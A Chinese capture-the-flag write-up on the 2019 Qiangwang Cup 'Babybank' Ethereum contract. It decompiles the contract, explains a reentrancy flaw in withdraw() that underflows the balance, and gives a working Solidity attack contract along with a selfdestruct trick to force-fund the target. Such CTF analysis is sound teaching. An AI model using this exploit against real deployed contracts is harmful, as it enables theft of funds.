强网杯区块链题目--Babybank深入分析

2019-06-01 约 1673 字 预计阅读 8 分钟

声明:本文 【强网杯区块链题目–Babybank深入分析】 由作者 Pinging 于 2019-06-01 09:41:00 首发 先知社区 曾经 浏览数 16 次

感谢 Pinging 的辛苦付出!

一、前言

本文为强网杯CTF区块链题目解析。现在的大赛越来越常见到区块链的题目的影子,相比传统的web题目,blockchain做出题目的队伍并不多,于是我将本次比赛的两道题目进行分析,并将做题过程记录在此,方便爱好者进行学习。

由于每一个题目需要分析与演示,我在这里将两道题目分为两篇文章,本文为第一题Babybank

二、题目分析

拿到题目后我们只能看到如下内容:

0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c@ropsten,请使用自己队伍的token获取flag,否则flag无效

并且给出不完整合约:

拿到合约我们能看到合约私有变量有余额balancelevel。看到了sendflag时间以及payforflag函数,而此函数需要传入md5的队伍token以及base64加密后的邮箱,当调用此函数后,需要满足当前调用余额大于10000000000。很显然,这是一个非常大的数,且我们需要用一些漏洞来增加账户的余额。

已知条件就如此,之后我们需要查看合约地址的信息来发掘更多有用的条件。

我们访问该合约地址并没有发现题目源码,这无疑加大了合约分析的难度。不过现在的题目基本上都不会给出源码,大多题目还是需要依靠逆向进行,于是我们也将合约进行逆向。

得到如下代码:

contract Contract {
    function main() {
        memory[0x40:0x60] = 0x80;

        if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

        var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;

        if (var0 == 0x2e1a7d4d) {
            // Dispatch table entry for withdraw(uint256)
            var var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x00aa;
            var var2 = msg.data[0x04:0x24];
            withdraw(var2);
            stop();
        } else if (var0 == 0x66d16cc3) {
            // Dispatch table entry for profit()
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x00aa;
            profit();
            stop();
        } else if (var0 == 0x8c0320de) {
            // Dispatch table entry for 0x8c0320de (unknown)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var temp0 = memory[0x40:0x60];
            var temp1 = msg.data[0x04:0x24];
            var temp2 = msg.data[temp1 + 0x04:temp1 + 0x04 + 0x20];
            memory[0x40:0x60] = temp0 + (temp2 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp0:temp0 + 0x20] = temp2;
            var1 = 0x00aa;
            memory[temp0 + 0x20:temp0 + 0x20 + temp2] = msg.data[temp1 + 0x24:temp1 + 0x24 + temp2];
            var temp3 = memory[0x40:0x60];
            var temp4 = msg.data[0x24:0x44] + 0x04;
            var temp5 = msg.data[temp4:temp4 + 0x20];
            memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
            memory[temp3:temp3 + 0x20] = temp5;
            var2 = temp0;
            memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x20:temp4 + 0x20 + temp5];
            var var3 = temp3;
            func_02DC(var2, var3);
            stop();
        } else if (var0 == 0x8e2a219e) {
            // Dispatch table entry for 0x8e2a219e (unknown)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            func_045C(var2);
            stop();
        } else if (var0 == 0x9189fec1) {
            // Dispatch table entry for guess(uint256)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24];
            guess(var2);
            stop();
        } else if (var0 == 0xa9059cbb) {
            // Dispatch table entry for transfer(address,uint256)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x00aa;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var3 = msg.data[0x24:0x44];
            transfer(var2, var3);
            stop();
        } else if (var0 == 0xd41b6db6) {
            // Dispatch table entry for 0xd41b6db6 (unknown)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = func_0555(var2);

        label_01E7:
            var temp6 = memory[0x40:0x60];
            memory[temp6:temp6 + 0x20] = var2;
            var temp7 = memory[0x40:0x60];
            return memory[temp7:temp7 + temp6 - temp7 + 0x20];
        } else if (var0 == 0xe3d670d7) {
            // Dispatch table entry for balance(address)
            var1 = msg.value;

            if (var1) { revert(memory[0x00:0x00]); }

            var1 = 0x01e7;
            var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
            var2 = balance(var2);
            goto label_01E7;
        } else { revert(memory[0x00:0x00]); }
    }

    function withdraw(var arg0) {
        if (arg0 != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        var temp0 = memory[0x40:0x60];
        var temp1 = arg0;
        memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = storage[temp2] - temp1;
    }

    function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // 当level=1 跳出
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x20:0x40] = 0x01;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

    function func_02DC(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (0x02540be400 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        var temp0 = memory[0x40:0x60];
        var temp1 = address(address(this)).balance;
        var temp2;
        temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
        var var0 = !temp2;

        if (!var0) {
            var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
            var temp3 = arg0;
            var var1 = temp3;
            var var2 = arg1;
            var temp4 = memory[0x40:0x60];
            var var3 = temp4;
            var var4 = var3;
            var var5 = var4 + 0x20;
            var temp5 = var5 + 0x20;
            memory[var4:var4 + 0x20] = temp5 - var4;
            memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
            var var6 = temp5 + 0x20;
            var var8 = memory[var1:var1 + 0x20];
            var var7 = var1 + 0x20;
            var var9 = var8;
            var var10 = var6;
            var var11 = var7;
            var var12 = 0x00;

            if (var12 >= var9) {
            label_03BC:
                var temp6 = var8;
                var6 = temp6 + var6;
                var7 = temp6 & 0x1f;

                if (!var7) {
                    var temp7 = var6;
                    memory[var5:var5 + 0x20] = temp7 - var3;
                    var temp8 = var2;
                    memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
                    var6 = temp7 + 0x20;
                    var7 = temp8 + 0x20;
                    var8 = memory[temp8:temp8 + 0x20];
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;

                    if (var12 >= var9) {
                    label_041C:
                        var temp9 = var8;
                        var6 = temp9 + var6;
                        var7 = temp9 & 0x1f;

                        if (!var7) {
                            var temp10 = memory[0x40:0x60];
                            log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
                            return;
                        } else {
                            var temp11 = var7;
                            var temp12 = var6 - temp11;
                            memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
                            var temp13 = memory[0x40:0x60];
                            log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
                            return;
                        }
                    } else {
                    label_040D:
                        var temp14 = var12;
                        memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
                        var12 = temp14 + 0x20;

                        if (var12 >= var9) { goto label_041C; }
                        else { goto label_040D; }
                    }
                } else {
                    var temp15 = var7;
                    var temp16 = var6 - temp15;
                    memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
                    var temp17 = temp16 + 0x20;
                    memory[var5:var5 + 0x20] = temp17 - var3;
                    var temp18 = var2;
                    memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
                    var6 = temp17 + 0x20;
                    var8 = memory[temp18:temp18 + 0x20];
                    var7 = temp18 + 0x20;
                    var9 = var8;
                    var10 = var6;
                    var11 = var7;
                    var12 = 0x00;

                    if (var12 >= var9) { goto label_041C; }
                    else { goto label_040D; }
                }
            } else {
            label_03AD:
                var temp19 = var12;
                memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
                var12 = temp19 + 0x20;

                if (var12 >= var9) { goto label_03BC; }
                else { goto label_03AD; }
            }
        } else {
            var temp20 = returndata.length;
            memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
            revert(memory[0x00:0x00 + returndata.length]);
        }
    }

    function func_045C(var arg0) {
        if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

        storage[0x03] = arg0;
    }

    function guess(var arg0) {
        if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 1
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        // 余额
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        // level
        memory[0x20:0x40] = 0x01;

        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

    function transfer(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;


        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // balance == 2
        if (arg1 != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 2
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        storage[keccak256(memory[0x00:0x40])] = arg1;
    }

    function func_0555(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x01;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }

    function balance(var arg0) returns (var arg0) {
        memory[0x20:0x40] = 0x00;
        memory[0x00:0x20] = arg0;
        return storage[keccak256(memory[0x00:0x40])];
    }
}

而逆向出来的代码便成为我们做题的关键。下面就进行分析。

首先我们要注意的地方是在每个函数前均有一句话:

var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }

这句话非常关键,它表示我们无法在调用函数的时候在value中赋值。我也尝试过在value中输入值时它便会报错。

这个问题若不解决那么后面便无法继续做题,具体遇到的坑在后面进行讲解。

后面我们看合约中的关键函数:

首先是profit()

function profit() {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // 当level=1 跳出
        if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        if (msg.sender & 0xffff != 0xb1b1) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        memory[0x20:0x40] = 0x01;
        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

该函数首先会对msg.sender的level值进行判断,需要满足level==0才能进入该函数。之后多了一条最重要的判断,那就是需要msg.sender的地址满足前四位为b1b1(这个限制真的有毒,在进行题目尝试的阶段我最终创建了10+个b1b1账户)。如果上述条件均满足,那么合约将用户的余额+1并将lvel+1 。也就是执行完之后level==1 。

下面看guess()函数。

function guess(var arg0) {
        if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 1
        if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        // 余额
        var temp0 = keccak256(memory[0x00:0x40]);
        storage[temp0] = storage[temp0] + 0x01;
        // level
        memory[0x20:0x40] = 0x01;

        var temp1 = keccak256(memory[0x00:0x40]);
        storage[temp1] = storage[temp1] + 0x01;
    }

调用此函数的条件为level==1,且传入的参数arg0需要等于storage[0x03]。而这里的storage[0x03]uint secret。而这个参数为区块上的一个参数,所以我们可以通过web3的接口对链上数据进行读取。

web3.eth.getStorageAt("0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c", 3, function(x, y) {console.warn(y)});

当条件全部满足后,该账户余额将+1,且level+1 。

下面是transfer函数。

function transfer(var arg0, var arg1) {
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;


        if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
    // balance == 2
        if (arg1 != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x01;
    // level == 2
        if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        storage[keccak256(memory[0x00:0x40])] = 0x00;
        memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
        storage[keccak256(memory[0x00:0x40])] = arg1;
    }

该函数传入两个参数,分别代表收款人与转账金额。函数需要满足转账金额要小于用户余额,且规定了余额必须为2,level必须为2 。之后收款方账户的余额变为2 。

最后一个最重要的函数为withdraw

function withdraw(var arg0) {
        if (arg0 != 0x02) { revert(memory[0x00:0x00]); }

        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;

        if (arg0 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }

        var temp0 = memory[0x40:0x60];
        var temp1 = arg0;
        memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);
        memory[0x00:0x20] = msg.sender;
        memory[0x20:0x40] = 0x00;
        var temp2 = keccak256(memory[0x00:0x40]);
        storage[temp2] = storage[temp2] - temp1;
    }

该函数要求传入参数为2,即取款2 token。且满足用于余额<=2。当满足条件后便可以执行函数并使用address(msg.sender).call.gas(msg.gas).value(temp1 * 0x5af3107a4000)(memory[temp0:temp0 + 0x00]);方法向用户转账,之后减去用户余额。

到这里,熟悉合约漏洞的研究者应该已经发现了漏洞所在地点,即调用.call函数能够引起重入攻击。

此时我们已经找到了漏洞所在位置,那么就要分析如何去利用。

在此函数中,我们在最后看到了减法运行,并且没有进行溢出检测,即我们可以通过这里的减法造成溢出从而获取到大量的代币。那么如何进行溢出呢?函数在开始的时候做了判断,需要满足账户余额>转账金额,只要满足了这个条件那么后面的减法就不会存在溢出的情况。

于是我们就需要在中间的call函数处做手脚。我们知道当合约调用call函数时将会触发收款方的fallback函数,所以我们只需要定义该合约的fallback函数从而完成对合约的攻击即可。

即当满足条件时,系统执行到.call语句,此时收款方收到钱,然后执行fallback函数再次调用withdraw函数。由于.call还未执行完,所以此时函数还未执行最后的减法,这是再次进入一个withdraw函数。所以类似于函数做了一半然后去执行另一个函数,从而第二个withdraw函数同样可以满足预设条件从而进入。

当第二次函数执行完后,用户的钱已经变成了2 - 2 = 0,此时回到了第一个函数中.call位置,之后继续执行,余额为 0 - 2 = -2(溢出)。从而完成攻击。

这里为什么不使用其他的函数呢?我们在执行的过程中进行过尝试,由于前面的函数均存在很严格的限制,且执行具有一定顺序,所以我们无法减少用户的余额,并且用户余额减少函数只有transfer与withdraw。无法进行。

三、做题步骤

本章我们对该合约攻击的过程进行详细的复现。

首先我们需要生成b1b1账户用于让合约有token。此网站可以满足需求:https://vanity-eth.tk/

之后我们令此账户依次调用profit、guess。

此时合约中的余额与level分别为1 1 -> 2 2。之后我们调用transfer函数,将此余额转账到攻击合约中。

令攻击合约拥有2token 。

pragma solidity ^0.4.23;

contract babybank {
    mapping(address => uint) public balance;
    mapping(address => uint) public level;
    address owner;
    uint secret;

    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 

    constructor()public{
        owner = msg.sender;
    }
    function transfer(address a,uint b);

    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 10000000000);
        balance[msg.sender]=0;
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }

    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }
    function withdraw(uint arg0){}
    function balance(address a) view returns (uint b) {}

}
contract hack{
    babybank a;
    uint count = 0;
    event log(uint256);
    constructor(address b)public{
        a = babybank(b);
    }
    function () public payable {
        if(count==2){
            log(3);
        }else{
            count = count + 1;
      a.withdraw(2);
        log(1);
        }
    }
    function getMoney() public payable{}

    function hacker() public{
        a.withdraw(2);
        log(2);
    }
    function payforflag1(string md5ofteamtoken,string b64email) public{
        a.payforflag(md5ofteamtoken,b64email);
    }

    function kill() {

      selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    }

}

此时合约中拥有2token的代币。

在做题过程中,我们接下来就开始进行攻击了,但是尝试了好久都没有造成溢出,同样每次尝试代价都非常大,因为要生成b1b1账户,这出题人真的会挖坑。。之后我们发现其题目合约中并没有以太币,没有以太币意味着.call根本不会调用。。所以我们还需要给他转账。然鹅所有的函数如开题所说那样被锁死无法传入value。那我们应该怎么让合约有钱呢?第一我们可以利用合约里面自带的钱,当然这个太难了,因为需要等待别人传。第二我们就需要利用自杀函数来帮助我们强制转账。

我们知道selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);语句可以帮助我们销毁合并并将合约中的钱全部转到括号中的地址内。

于是我们尝试:

传入0.2ether 给合约并调用getmoney进行收款。

之后调用kill函数进行自杀,从而将钱强制转到合约中。此时题目合约中多了0.2ether。

之后便可以做题了。

由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。且合约中存在两个关键变量:balance(余额)以及level(一种标记)。在审计合约之后我们发现profit函数为:每个账户只允许调用一次,并发送钱包1 token;guess函数需要level值为1且调用后余额+1、leve+1 ;而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ;withdraw函数表示取款,且合约会将以太币转给msg.sender。

  • 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。
  • 2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。
  • 3 当C有了2token便可以进行攻击,调用hacker函数即可。

当攻击合约中显示自己的余额为2时,便可以调用hacker函数。在攻击函数中我控制了执行次数,因为当执行次数过高时有可能引起gas不足从而导致失败而影响最后的结果。

这里仅执行两次。并添加了log事件便于我们查看执行情况。

之后溢出成功,我们成功得到了大量的代币。

我们调用获取flag函数,得到如下日志:

本稿为原创稿件,转载请标明出处。谢谢。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now